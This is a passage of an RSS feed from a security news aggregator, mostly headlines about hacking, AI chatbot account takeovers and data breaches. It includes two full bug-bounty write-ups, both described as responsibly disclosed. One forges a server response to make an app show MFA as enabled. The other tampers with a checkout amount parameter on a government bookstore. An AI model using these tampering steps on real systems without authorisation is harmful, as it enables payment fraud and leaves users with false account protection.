<guid isPermaLink="true">https://tsecurity.de/de/3571864/IT+Sicherheit/Hacker/API+Penetration+Testing+Checklist%3A+How+Real-World+Attacks+Break+APIs+Before+Scanners+Do/</guid>
<pubDate>Thu, 04 Jun 2026 10:16:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Setting Up n8n Locally on Kali Linux Using Docker]]></title> 
<description><![CDATA[Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3571863/IT+Sicherheit/Hacker/Setting+Up+n8n+Locally+on+Kali+Linux+Using+Docker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571863/IT+Sicherheit/Hacker/Setting+Up+n8n+Locally+on+Kali+Linux+Using+Docker/</guid>
<pubDate>Thu, 04 Jun 2026 10:16:58 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I Typed 000000 and the App Thought MFA Was Already On]]></title> 
<description><![CDATA[I never scanned the QR code. One intercepted response was&nbsp;enough.Six digits. All&nbsp;zeros.I type them into the MFA setup field and click Continue.I haven&rsquo;t opened an authenticator app. I haven&rsquo;t scanned anything. The QR code the app just generated is sitting ignored in a background tab. The OTP I submitted is as fake as it gets &mdash; six zeros, the first thing you try when you want to see what&nbsp;breaks.The server responds with a 400 Bad Request. Of course it does. The OTP doesn&#039;t match any secret, because no secret was ever registered anywhere. The server is doing its job correctly.I&rsquo;m about to move on when I notice Burp Suite has &ldquo;Intercept Response&rdquo; switched&nbsp;on.The error response is sitting in my proxy. It has already left the server. It hasn&rsquo;t reached my browser yet. For the next few seconds, it belongs to&nbsp;me.The idea is simple. The server made a decision. The browser hasn&rsquo;t heard it yet. What if I change what the browser&nbsp;hears?I delete the 400 error body. Replace it with&nbsp;this:{  &quot;errorCode&quot;: &quot;MFA_AUTHENTICATOR_ALREADY_ACTIVE&quot;,  &quot;detail&quot;: &quot;TOTP authenticator is already enabled for this account. No further action required.&quot;}Forward.The modified response travels the last few milliseconds to the browser. The frontend parses the JSON. The UI&nbsp;updates.App Authentication: PRIMARY&nbsp;✓The same green checkmark. The same status label. The same settings screen any real user would see after successfully completing MFA&nbsp;setup.The QR code is still open in that background tab. Unscanned. Untouched.I check what actually happened on the&nbsp;backend.The TOTP secret was generated when the app created the QR code &mdash; that part is real. But no authenticator app ever registered it. The shared secret exists on the server and nowhere else. No phone binding. No app binding.&nbsp;Nothing.The frontend says MFA is on. The backend has no completed setup on record. These two things are now in different states, and the application has no mechanism to detect the&nbsp;gap.The root cause is not hard to articulate. The frontend never checked. It waited for the API to tell it what happened, took that response at face value, and updated the UI accordingly. There is no server-side confirmation happening on the client side. No cryptographic verification that a real TOTP binding exists. The frontend asked the API &ldquo;are we done?&rdquo; and I answered for the&nbsp;API.This vulnerability class goes by a few names &mdash; improper client-side validation, response manipulation, frontend trust failure &mdash; but the underlying error is always the same: UI logic that treats the API response as ground truth without validating it against actual server state. The frontend is doing the server&rsquo;s job of deciding whether a security-critical operation succeeded.The fix is not complicated. The backend should require a confirmed TOTP token exchange before returning any success state &mdash; not an error message that says &ldquo;already active,&rdquo; but an actual verified response. The client&rsquo;s only job is to render confirmed server state, not to interpret error codes and decide setup is complete. Any response without a verified TOTP binding should drop the user back to step one, regardless of what the errorCode field&nbsp;claims.One server-side check. That is the entire&nbsp;fix.What stays with me about this finding is not the bypass&nbsp;itself.Most MFA bypass vulnerabilities mean one thing: an attacker gets into an account they shouldn&rsquo;t be in. This one does something different. This one leaves the account owner walking away believing they are protected.Think about who this actually affects. Not the attacker &mdash; the attacker knows exactly what happened. The real target is the user. Someone who followed the setup flow, clicked Continue, saw the green checkmark, and closed the settings page with the reasonable assumption that they just hardened their account. They did everything right. The app confirmed it. There is no obvious reason to check&nbsp;again.That account has zero second factor. Both the user and the application believe it has&nbsp;one.The gap between what is real and what is displayed is more dangerous than a straightforward login bypass. A bypass gets detected. A security illusion just sits there, undisturbed, in an account settings screen nobody looks at&nbsp;twice.The industry has a name for this kind of design failure: security theater. A feature that signals protection without providing it. The checkbox is checked. The lock icon is green. The risk is unchanged.What makes the response manipulation angle interesting is that the theater is not intentional &mdash; it is an accident of architecture. The developers almost certainly did not design the UI to lie. They just wrote code that trusted the API response, and did not think through what happens when that trust is abused. It is a boundary problem, and it hides in codebases because it does not look like a bug. It looks like code that&nbsp;works.I wrote the report the same night. The acknowledgment came back with the usual language &mdash; we will review this with our security team &mdash; and I logged it and&nbsp;waited.Writing about it now, I keep coming back to one question I cannot fully answer: how many applications have UI that trusts API responses the same way across security-critical flows? Not in the abstract. Specifically in auth flows. Permissions. Access control. The places where &ldquo;the frontend checked and said yes&rdquo; is not good&nbsp;enough.The green checkmark on an MFA setup screen is supposed to mean something verified happened. Usually it does. But if the only thing standing between a completed setup and a spoofed one is which JSON response reaches the browser &mdash; the checkmark is an assumption, not a&nbsp;proof.That distinction matters more than most codebases treat&nbsp;it.Would your first instinct have been to intercept the response &mdash; or to look for a flaw in the request&nbsp;itself?Drop it in the comments. I&rsquo;m curious whether this attack surface shows up in your methodology or if it&rsquo;s one most people skip&nbsp;past.I Typed 000000 and the App Thought MFA Was Already On was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571862/IT+Sicherheit/Hacker/I+Typed+000000+and+the+App+Thought+MFA+Was+Already+On/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571862/IT+Sicherheit/Hacker/I+Typed+000000+and+the+App+Thought+MFA+Was+Already+On/</guid>
<pubDate>Thu, 04 Jun 2026 10:17:08 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I Bought a ₹1,599 Government Book for ₹1. The Server Approved It.]]></title> 
<description><![CDATA[The payment page showed ₹1.00. I had not touched the price field. I had only touched one number in one&nbsp;request.I was not looking for a vulnerability that&nbsp;day.I was clicking around a government website &mdash; an official portal where students could buy books published by government bodies. Study material, reference texts, the kind of dense, official content you&rsquo;d find in competitive exam prep stacks. The kind of website that nobody thinks to test because it&rsquo;s government, it&rsquo;s boring, and what&rsquo;s the worst that could happen with a bookstore?I had Burp Suite running in the background. Force of&nbsp;habit.I picked a book. Added it to the cart. Clicked checkout. Filled in fake billing details &mdash; Lord, Hello World, 9999999999, a pincode that doesn&rsquo;t exist, an email with a typo in the domain. The kind of information you enter when you&rsquo;re testing a flow and have no intention of completing the purchase.Then I clicked Pay&nbsp;Now.Burp caught the POST request before it hit the&nbsp;server.The endpoint was /ccavRequestHandler. The request body had sixteen parameters: order_id, billing_name, billing_tel, billing_email, billing_address, billing_city, billing_state, billing_zip, billing_country, merchant_id, language, currency, redirect_url, success_url, cancel_url &mdash; and one&nbsp;more.amount=1599I stared at that for a moment. Then I changed it to&nbsp;1.Not ₹100. Not ₹10. ₹1. I wanted to see how far this would&nbsp;go.I forwarded the&nbsp;request.The payment page&nbsp;loaded.In the top-left corner, in blue&nbsp;text:INR 1.00 (Total Amount&nbsp;Payable)The payment gateway had received a transaction request for ₹1. It had no reason to question this. As far as the gateway was concerned, a legitimate merchant server had just told it: this order costs one rupee. Process&nbsp;it.The &ldquo;Make Payment&rdquo; button was right there. Accepting American Express, Mastercard, RuPay,&nbsp;Visa.I turned off the intercept and refreshed the page. ₹1.00 was still showing. This was not a rendering artifact. The transaction session had been created at ₹1. The gateway was waiting for me to pay one rupee for a ₹1,599&nbsp;book.I did not proceed with the payment. I had&nbsp;enough.Here is the architecture failure underneath this:The government portal was treating the amount field in the checkout POST request as a trusted user-supplied value. The merchant ID, the order ID, the item itself &mdash; all server-side. But the price? Client-side. Passed through the browser. Interceptable. Modifiable. No validation on the server before it was handed to the payment&nbsp;gateway.This is a business logic vulnerability &mdash; not an injection, not a bypass, not a CVE with a complicated name. No payload. No encoding. I opened Burp Suite, found a number, and changed it. That was the entire&nbsp;attack.The assumption the developers had made &mdash; one that gets made constantly on Indian e-commerce platforms &mdash; was that a normal user would never look at the raw HTTP request. And they are right about normal users. Normal users do not run Burp Suite. But an attacker&nbsp;does.Think about what this looks like at&nbsp;scale.This was a government portal that sold books to students &mdash; students preparing for government exams, students buying prescribed reference material, students on tight budgets who were likely the exact demographic this portal existed to&nbsp;serve.Every book in that catalog. Any user with a proxy tool. Any price they&nbsp;chose.The gateway had no way to cross-reference the amount it received against the actual product price on the backend. There was no order validation webhook, no server-to-server price confirmation, no check that said: &ldquo;Wait &mdash; this order was created for ₹1,599. Why are you asking us to collect&nbsp;₹1?&rdquo;In a commercial platform, that&rsquo;s a revenue leak. In a government portal distributing official study material, that&rsquo;s a publicly funded resource being made freely exploitable. Not hypothetically. Actually, directly, by anyone willing to spend five minutes with an intercept proxy.I reported&nbsp;it.The address was rvdp@nciipc.gov.in &mdash; the Responsible Vulnerability Disclosure Program run by India&#039;s National Critical Information Infrastructure Protection Centre. I wrote up what I&#039;d found: the endpoint, the vulnerable parameter, the steps to reproduce, the screenshot of the ₹1 payment page. I sent it&nbsp;off.I wasn&rsquo;t sure what to expect. Government VDPs in India have a reputation for silence. Not because no one cares &mdash; but because the pipeline from researcher inbox to development team is long, and the process isn&rsquo;t always visible from the&nbsp;outside.A reply&nbsp;came.They acknowledged the finding. The vulnerability was taken seriously. The fix was deployed.That was it. No bounty &mdash; this was a responsible disclosure program, not a bug bounty program. No CVE. No hall of fame that I was aware of. But the issue was fixed, and the portal was no longer accepting arbitrary amounts from the client&nbsp;side.That&rsquo;s the complete story. And I keep the screenshots.I&rsquo;m writing this in 2026. The original finding was in&nbsp;2024.This was one of the first vulnerabilities I ever found on a real system. The reason I&rsquo;m writing it now is not to demonstrate technical sophistication &mdash; the technique is not sophisticated. It&rsquo;s to demonstrate what is possible when you simply look at what is being&nbsp;sent.Most beginners spend months learning injection techniques, bypass methods, escalation chains. They overlook the simplest question: is the server trusting something it shouldn&rsquo;t? A price. An account balance. A discount code. A session duration. Any value that the application treats as authoritative but originates from the client is a candidate for this exact&nbsp;test.I found this because I had Burp running as a habit. Not because I had a methodology document open. Not because I had targeted this site specifically.If you&rsquo;ve been testing web applications for more than a few months, you have almost certainly seen a parameter that controls value &mdash; price, quantity, role, discount percentage, account tier &mdash; passed through the browser. Did you test&nbsp;it?And if you find something like this in 2026: India&rsquo;s national bug disclosure is at cert-in.org.inThe vulnerability described in this article was reported to NCIIPC via responsible disclosure in 2024 and has been confirmed as fixed. No payment was completed during testing. Screenshots have been redacted to remove the target&nbsp;domain.I Bought a ₹1,599 Government Book for ₹1. The Server Approved It. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571861/IT+Sicherheit/Hacker/I+Bought+a+%E2%82%B91%2C599+Government+Book+for+%E2%82%B91.+The+Server+Approved+It./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571861/IT+Sicherheit/Hacker/I+Bought+a+%E2%82%B91%2C599+Government+Book+for+%E2%82%B91.+The+Server+Approved+It./</guid>
<pubDate>Thu, 04 Jun 2026 10:17:26 +0200</pubDate>
</item>
<item> 
<title><![CDATA[“Bug Bounty Bootcamp #43: Login Page?]]></title> 
<description><![CDATA[Let&rsquo;s be real &mdash; you&rsquo;ve hit that login wall more times than you&rsquo;ve hit &ldquo;snooze&rdquo; on a Monday morning.Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3571860/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2343%3A+Login+Page%3F/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571860/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2343%3A+Login+Page%3F/</guid>
<pubDate>Thu, 04 Jun 2026 10:17:41 +0200</pubDate>
</item>
<item> 
<title><![CDATA[29 Arrests, Nine Crime Groups Dismantled: Another Blow to Illegal Streaming]]></title> 
<description><![CDATA[International Operation KRATOS led by Europol dismantled illegal streaming networks, leading to 29 arrests and nine crime groups taken down. An international law enforcement operation, codenamed Operation KRATOS and involving 13 countries (Belgium, Bulgaria, Croatia, France, Greece, Ireland, Italy, the Netherlands, Poland, Romania, Spain, the UK, and the US), spent seven months quietly dismantling the [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3571745/IT+Sicherheit/Hacker/29+Arrests%2C+Nine+Crime+Groups+Dismantled%3A+Another+Blow+to+Illegal+Streaming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571745/IT+Sicherheit/Hacker/29+Arrests%2C+Nine+Crime+Groups+Dismantled%3A+Another+Blow+to+Illegal+Streaming/</guid>
<pubDate>Thu, 04 Jun 2026 09:08:33 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Konten über Metas KI-Chatbot gehackt? Eine einfache Anfrage reichte offenbar aus]]></title> 
<description><![CDATA[BI konnte die Vorgehensweise der Hacker nicht unabh&auml;ngig &uuml;berpr&uuml;fen. &bdquo;Dieses Problem wurde behoben und wir sichern die betroffenen Konten&ldquo;, schrieb&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571624/IT+Sicherheit/Hacker/Instagram-Konten+%C3%BCber+Metas+KI-Chatbot+gehackt%3F+Eine+einfache+Anfrage+reichte+offenbar+aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571624/IT+Sicherheit/Hacker/Instagram-Konten+%C3%BCber+Metas+KI-Chatbot+gehackt%3F+Eine+einfache+Anfrage+reichte+offenbar+aus/</guid>
<pubDate>Thu, 04 Jun 2026 01:39:57 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Infostealer-Welle: Hacker plündern 116.000 Systeme seit Januar - BornCity]]></title> 
<description><![CDATA[Infostealer-Welle: Hacker pl&uuml;ndern 116.000 Systeme seit Januar. Cyberkriminelle setzen zunehmend auf Infostealer, die Passw&ouml;rter und Session-Tokens&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571623/IT+Sicherheit/Hacker/Infostealer-Welle%3A+Hacker+pl%C3%BCndern+116.000+Systeme+seit+Januar+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571623/IT+Sicherheit/Hacker/Infostealer-Welle%3A+Hacker+pl%C3%BCndern+116.000+Systeme+seit+Januar+-+BornCity/</guid>
<pubDate>Thu, 04 Jun 2026 07:28:30 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta-KI verriet Passwörter an Hacker - INTENTURE NEWS]]></title> 
<description><![CDATA[Ein Helferprogramm, das im Fr&uuml;hjahr f&uuml;r Supportanfragen freigeschaltet wurde, lie&szlig; sich mit einfachen Tricks dazu bewegen, fremde Instagram-Konten&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571622/IT+Sicherheit/Hacker/Meta-KI+verriet+Passw%C3%B6rter+an+Hacker+-+INTENTURE+NEWS/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571622/IT+Sicherheit/Hacker/Meta-KI+verriet+Passw%C3%B6rter+an+Hacker+-+INTENTURE+NEWS/</guid>
<pubDate>Thu, 04 Jun 2026 07:33:51 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI-Cyberattacken: 67% der Hacker nutzen LLMs für Malware - BornCity]]></title> 
<description><![CDATA[Neue Berichte zeigen, wie Hacker KI f&uuml;r automatisierte Angriffe einsetzen. Sicherheitsexperten und Technologieunternehmen haben am 3. ]]></description>
<link>https://tsecurity.de/de/3571621/IT+Sicherheit/Hacker/KI-Cyberattacken%3A+67%25+der+Hacker+nutzen+LLMs+f%C3%BCr+Malware+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571621/IT+Sicherheit/Hacker/KI-Cyberattacken%3A+67%25+der+Hacker+nutzen+LLMs+f%C3%BCr+Malware+-+BornCity/</guid>
<pubDate>Thu, 04 Jun 2026 08:03:16 +0200</pubDate>
</item>
<item> 
<title><![CDATA[2026-06-03-Klinik Ottakring eröffnet top-moderne Einheit zur Lungendiagnostik]]></title> 
<description><![CDATA[Gesundheitsstadtrat Peter Hacker, &Auml;rztlicher Direktor Peter Gl&auml;ser und Georg-Christian Funk, Vorstand der pneumologischen Abteilung, pr&auml;sentieren&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571519/IT+Sicherheit/Hacker/2026-06-03-Klinik+Ottakring+er%C3%B6ffnet+top-moderne+Einheit+zur+Lungendiagnostik/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571519/IT+Sicherheit/Hacker/2026-06-03-Klinik+Ottakring+er%C3%B6ffnet+top-moderne+Einheit+zur+Lungendiagnostik/</guid>
<pubDate>Wed, 03 Jun 2026 18:16:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kali365: Hacker umgehen 2FA in Microsoft-365-Umgebungen - BornCity]]></title> 
<description><![CDATA[Hacker umgehen Zwei-Faktor-Authentifizierung mit immer raffinierteren Methoden. Besonders betroffen: Microsoft-365-Nutzer. Die Bedrohungslage in&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571518/IT+Sicherheit/Hacker/Kali365%3A+Hacker+umgehen+2FA+in+Microsoft-365-Umgebungen+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571518/IT+Sicherheit/Hacker/Kali365%3A+Hacker+umgehen+2FA+in+Microsoft-365-Umgebungen+-+BornCity/</guid>
<pubDate>Thu, 04 Jun 2026 04:25:30 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Vom Tinder-Date zum Spontan-Segen: Wie "einfach heiraten" Paare verbindet | Sonntags]]></title> 
<description><![CDATA[Anders bei Uschi und Peter Hacker: Sie sind seit 30 Jahren standesamtlich verheiratet. Durch die Aktion &quot;einfach heiraten&quot; wollen die beiden am 26.6. ]]></description>
<link>https://tsecurity.de/de/3571517/IT+Sicherheit/Hacker/Vom+Tinder-Date+zum+Spontan-Segen%3A+Wie+%22einfach+heiraten%22+Paare+verbindet+%7C+Sonntags/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571517/IT+Sicherheit/Hacker/Vom+Tinder-Date+zum+Spontan-Segen%3A+Wie+%22einfach+heiraten%22+Paare+verbindet+%7C+Sonntags/</guid>
<pubDate>Thu, 04 Jun 2026 06:01:04 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Börsen-Hack: Hacker blieben 150 Tage unentdeckt im E-Mail-System - Börse Express]]></title> 
<description><![CDATA[Hacker erbeuten &uuml;ber Monate E-Mails eines Top-Managers einer internationalen B&ouml;rse. Sicherheitsforscher decken die ausgekl&uuml;gelte Spionagekampagne&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571516/IT+Sicherheit/Hacker/B%C3%B6rsen-Hack%3A+Hacker+blieben+150+Tage+unentdeckt+im+E-Mail-System+-+B%C3%B6rse+Express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571516/IT+Sicherheit/Hacker/B%C3%B6rsen-Hack%3A+Hacker+blieben+150+Tage+unentdeckt+im+E-Mail-System+-+B%C3%B6rse+Express/</guid>
<pubDate>Thu, 04 Jun 2026 06:45:05 +0200</pubDate>
</item>
<item> 
<title><![CDATA[LLMShare-Angriffe: Hacker missbrauchen OpenAI für Malware - Ad-hoc-news.de]]></title> 
<description><![CDATA[LLMShare-Angriffe: Hacker missbrauchen OpenAI f&uuml;r Malware. 04.06.2026 - 00:26:17 | boerse-global.de. Gef&auml;lschte Google-Anzeigen nutzen ChatGPT-Share-&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3571094/IT+Sicherheit/Hacker/LLMShare-Angriffe%3A+Hacker+missbrauchen+OpenAI+f%C3%BCr+Malware+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571094/IT+Sicherheit/Hacker/LLMShare-Angriffe%3A+Hacker+missbrauchen+OpenAI+f%C3%BCr+Malware+-+Ad-hoc-news.de/</guid>
<pubDate>Thu, 04 Jun 2026 00:29:18 +0200</pubDate>
</item>
<item> 
<title><![CDATA[How to use ChatGPT: A beginner's guide to mastering OpenAI's chatbot in 2026]]></title> 
<description><![CDATA[Want to try ChatGPT? It&#039;s free and doesn&#039;t require an account. Here&#039;s how to get started quickly. ]]></description>
<link>https://tsecurity.de/de/3571008/IT+Sicherheit/Hacker/How+to+use+ChatGPT%3A+A+beginner%27s+guide+to+mastering+OpenAI%27s+chatbot+in+2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571008/IT+Sicherheit/Hacker/How+to+use+ChatGPT%3A+A+beginner%27s+guide+to+mastering+OpenAI%27s+chatbot+in+2026/</guid>
<pubDate>Thu, 04 Jun 2026 00:51:00 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The Hacker und Rein: „We Come Alive“ als gemeinsame Single - VOLT Magazin]]></title> 
<description><![CDATA[Wenn sich zwei K&uuml;nstler zusammentun, die seit Jahren zu den markantesten Figuren ihrer Nischen z&auml;hlen, kann das Ergebnis nur besonders sein. ]]></description>
<link>https://tsecurity.de/de/3570866/IT+Sicherheit/Hacker/The+Hacker+und+Rein%3A+%E2%80%9EWe+Come+Alive%E2%80%9C+als+gemeinsame+Single+-+VOLT+Magazin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570866/IT+Sicherheit/Hacker/The+Hacker+und+Rein%3A+%E2%80%9EWe+Come+Alive%E2%80%9C+als+gemeinsame+Single+-+VOLT+Magazin/</guid>
<pubDate>Wed, 03 Jun 2026 22:02:44 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Größte Cyberangriffe und Datenlecks 2026 - Zamin.uz]]></title> 
<description><![CDATA[Betrachtet man den bisherigen Verlauf des Jahres 2026, scheinen Cybersicherheitsprobleme im Schatten globaler Kriege, der Klimakrise und neuer&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570737/IT+Sicherheit/Hacker/Gr%C3%B6%C3%9Fte+Cyberangriffe+und+Datenlecks+2026+-+Zamin.uz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570737/IT+Sicherheit/Hacker/Gr%C3%B6%C3%9Fte+Cyberangriffe+und+Datenlecks+2026+-+Zamin.uz/</guid>
<pubDate>Wed, 03 Jun 2026 18:31:50 +0200</pubDate>
</item>
<item> 
<title><![CDATA[LKA-Zugriff in Sinsheim-Rohrbach: Schlag gegen Cyberkriminalität - Jack News]]></title> 
<description><![CDATA[Das R&auml;tselraten um eine Festnahme auf der Rohrbacher Ortsdurchfahrt am Dienstagabend hat ein Ende. Weder der Raub&uuml;berfall auf den &ouml;rtlichen&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570736/IT+Sicherheit/Hacker/LKA-Zugriff+in+Sinsheim-Rohrbach%3A+Schlag+gegen+Cyberkriminalit%C3%A4t+-+Jack+News/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570736/IT+Sicherheit/Hacker/LKA-Zugriff+in+Sinsheim-Rohrbach%3A+Schlag+gegen+Cyberkriminalit%C3%A4t+-+Jack+News/</guid>
<pubDate>Wed, 03 Jun 2026 18:33:14 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Hack: KI-Bot ermöglichte Übernahme von Promis-Konten - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker nutzten Prompt-Injection im Meta-Support aus, um Profile wie das Wei&szlig;e Haus zu &uuml;bernehmen. Die Aktie fiel um f&uuml;nf Prozent. ]]></description>
<link>https://tsecurity.de/de/3570735/IT+Sicherheit/Hacker/Instagram-Hack%3A+KI-Bot+erm%C3%B6glichte+%C3%9Cbernahme+von+Promis-Konten+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570735/IT+Sicherheit/Hacker/Instagram-Hack%3A+KI-Bot+erm%C3%B6glichte+%C3%9Cbernahme+von+Promis-Konten+-+Ad-hoc-news.de/</guid>
<pubDate>Wed, 03 Jun 2026 21:15:12 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram warnt Nutzer vor Angriffen über KI-Chatbot - Zamin.uz]]></title> 
<description><![CDATA[Eine gro&szlig; angelegte Hacking-Kampagne zum Diebstahl von Instagram-Konten unter Verwendung des Meta-KI-Chatbots dauert Berichten zufolge auch nach&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570554/IT+Sicherheit/Hacker/Instagram+warnt+Nutzer+vor+Angriffen+%C3%BCber+KI-Chatbot+-+Zamin.uz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570554/IT+Sicherheit/Hacker/Instagram+warnt+Nutzer+vor+Angriffen+%C3%BCber+KI-Chatbot+-+Zamin.uz/</guid>
<pubDate>Wed, 03 Jun 2026 18:35:16 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cyber espionage campaign targeted stock exchange executive’s Outlook account]]></title> 
<description><![CDATA[Attackers spent five months silently stealing emails from a stock exchange executive&rsquo;s Outlook account in a suspected espionage operation. A threat actor quietly sat inside a senior executive&rsquo;s Outlook account at a major global stock exchange for roughly 150 days, from October 2025 to March 2026. Broadcom&rsquo;s Symantec and Carbon Black threat-hunting team investigated the [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3570529/IT+Sicherheit/Hacker/Cyber+espionage+campaign+targeted+stock+exchange+executive%E2%80%99s+Outlook+account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570529/IT+Sicherheit/Hacker/Cyber+espionage+campaign+targeted+stock+exchange+executive%E2%80%99s+Outlook+account/</guid>
<pubDate>Wed, 03 Jun 2026 20:13:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cybersecurity: KI-gesteuerte Angriffe umgehen Mehrfaktor-Authentifizierung - BornCity]]></title> 
<description><![CDATA[Kriminelle nutzen KI und PhaaS-Tools, um MFA zu umgehen. Die Zahl der Angriffe steigt rasant, w&auml;hrend neue EU-Regeln drohen. ]]></description>
<link>https://tsecurity.de/de/3570476/IT+Sicherheit/Hacker/Cybersecurity%3A+KI-gesteuerte+Angriffe+umgehen+Mehrfaktor-Authentifizierung+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570476/IT+Sicherheit/Hacker/Cybersecurity%3A+KI-gesteuerte+Angriffe+umgehen+Mehrfaktor-Authentifizierung+-+BornCity/</guid>
<pubDate>Wed, 03 Jun 2026 18:12:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Events im Sommer! - Tölzer Löwen]]></title> 
<description><![CDATA[Am 25. Juli steigt ab 19 Uhr unsere legend&auml;re Rooftop-Party auf der Dachterrasse der Hacker-Pschorr Arena! Zusammen mit DJ Fabi feiern wir mit&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570475/IT+Sicherheit/Hacker/Events+im+Sommer%21+-+T%C3%B6lzer+L%C3%B6wen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570475/IT+Sicherheit/Hacker/Events+im+Sommer%21+-+T%C3%B6lzer+L%C3%B6wen/</guid>
<pubDate>Wed, 03 Jun 2026 18:38:15 +0200</pubDate>
</item>
<item> 
<title><![CDATA[AI is causing cognitive fatigue. Here's how to work with more haste and less speed]]></title> 
<description><![CDATA[Research suggests people are working harder and less smartly with AI, but there are ways to turn emerging tech into a valuable tool. ]]></description>
<link>https://tsecurity.de/de/3570474/IT+Sicherheit/Hacker/AI+is+causing+cognitive+fatigue.+Here%27s+how+to+work+with+more+haste+and+less+speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570474/IT+Sicherheit/Hacker/AI+is+causing+cognitive+fatigue.+Here%27s+how+to+work+with+more+haste+and+less+speed/</guid>
<pubDate>Wed, 03 Jun 2026 20:02:48 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Erpresserischer Zugang zu Oregons Behördennetz: Hacker erhält 56 Monate Haft]]></title> 
<description><![CDATA[Ein US-Gericht verurteilt Catalin Dragomir wegen illegalem Zugriffsverkauf auf ein Beh&ouml;rdennetz in Oregon. Der Fall zeigt, wie Datenhandel und&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570364/IT+Sicherheit/Hacker/Erpresserischer+Zugang+zu+Oregons+Beh%C3%B6rdennetz%3A+Hacker+erh%C3%A4lt+56+Monate+Haft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570364/IT+Sicherheit/Hacker/Erpresserischer+Zugang+zu+Oregons+Beh%C3%B6rdennetz%3A+Hacker+erh%C3%A4lt+56+Monate+Haft/</guid>
<pubDate>Wed, 03 Jun 2026 18:01:00 +0200</pubDate>
</item>
<item> 
<title><![CDATA[How to try out over 85 Linux distros, no installation required - with DistroSea]]></title> 
<description><![CDATA[This web-based Linux platform makes it easy to explore dozens of distributions, from the familiar to the obscure. It&#039;s free and works in any browser. ]]></description>
<link>https://tsecurity.de/de/3570363/IT+Sicherheit/Hacker/How+to+try+out+over+85+Linux+distros%2C+no+installation+required+-+with+DistroSea/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570363/IT+Sicherheit/Hacker/How+to+try+out+over+85+Linux+distros%2C+no+installation+required+-+with+DistroSea/</guid>
<pubDate>Wed, 03 Jun 2026 19:04:15 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Digitale Ordnung: Hacker nutzten KI-Chatbots gegen Social-Media-Konten]]></title> 
<description><![CDATA[Lena Gercke r&auml;umt beim Umzug Kindheitserinnerungen aus. Die emotionale Herausforderung und Tipps f&uuml;r Ordnung im Haushalt stehen im Fokus. ]]></description>
<link>https://tsecurity.de/de/3570239/IT+Sicherheit/Hacker/Digitale+Ordnung%3A+Hacker+nutzten+KI-Chatbots+gegen+Social-Media-Konten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570239/IT+Sicherheit/Hacker/Digitale+Ordnung%3A+Hacker+nutzten+KI-Chatbots+gegen+Social-Media-Konten/</guid>
<pubDate>Wed, 03 Jun 2026 17:37:20 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Konten über Metas KI-Chatbot gehackt? Einfache Anfrage reichte offenbar aus]]></title> 
